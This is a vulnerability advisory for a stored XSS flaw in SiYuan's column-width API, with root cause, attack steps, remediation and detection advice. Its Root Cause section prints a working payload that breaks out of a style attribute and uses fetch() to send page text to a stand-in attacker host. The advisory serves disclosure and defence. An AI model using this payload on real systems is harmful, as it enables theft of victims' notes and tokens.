Executive Summary
CVE-2026-73044 is a stored cross-site scripting (XSS) vulnerability in SiYuan versions prior to v3.7.4. The vulnerability exists in how SiYuan renders table column width values: the setAttrViewColWidth API accepts arbitrary string values for column widths and injects them directly into HTML style attributes without escaping. An attacker can break out of the style context and inject event-handler attributes that execute arbitrary JavaScript.
CVSS Score: 9.0 (Critical)
Vulnerability Overview
| Attribute | Value |
|---|---|
| CVE ID | CVE-2026-73044 |
| CVSS Score | 9.0 (Critical) |
| Type | Stored Cross-Site Scripting (XSS) |
| Attack Vector | Network (API) |
| Authentication | Required (API access) |
| User Interaction | Required (victim views database) |
| Fixed Version | SiYuan v3.7.4 |
| Published | 2026-08-15 |
Root Cause
SiYuan's setAttrViewColWidth API endpoint accepts a column width string value and stores it in the database. When the database table is rendered, the width value is placed directly inside a style attribute (e.g., style="width: <value>"). Without output escaping, an attacker can supply a value like:
100px" onmouseover="fetch('https://attacker.com/?d='+document.body.innerText)
This breaks out of the style attribute context and injects an active event handler that fires on every hover over any column header in that table.
Attack Scenario
1. Attacker calls setAttrViewColWidth API with a malicious width value
2. Payload stored persistently in SiYuan's database
3. Any user who views the database table with affected columns triggers the XSS
4. Injected JavaScript executes in victim's browser context
5. Attacker can exfiltrate notes, tokens, or perform actions as the victimWhy Style Attribute Injection Is Dangerous
Style attribute XSS is often overlooked because developers focus on script-context injection. However, breaking out of a style attribute is straightforward — a closing quote ends the attribute value, and subsequent text lands in the HTML element's attribute space where event handlers are valid.
Affected Versions
| Software | Affected | Fixed |
|---|---|---|
| SiYuan | < 3.7.4 | 3.7.4 |
Remediation
Patch
Update SiYuan to v3.7.4 or later. The fix validates and sanitizes column width values before storage and enforces safe rendering — only numeric + unit values (e.g., 120px) are accepted.
If Immediate Patching Is Not Possible
- Restrict API access — limit which users or processes can call
setAttrViewColWidth. - Audit existing databases — inspect
.syfiles for column width values containing quotes or HTML. - Disable shared database access until patched.
Detection
Search SiYuan's data/ .sy files for attribute-view column width values containing:
- Quotation marks (
"or') - Event handler keywords (
onerror,onmouseover,onclick, etc.) - Anything other than valid CSS unit values (px, em, %, rem)
Key Takeaways
- CVSS 9.0 Critical — API-injectable stored XSS affecting all viewers of any table with a poisoned column
- Style-attribute context injection is easy to miss during code review — use strict allowlist validation for CSS values
- Patch to SiYuan v3.7.4 immediately for any networked or shared installation
- Part of a cluster of 4 XSS/auth issues fixed in v3.7.4 — treat as a group patch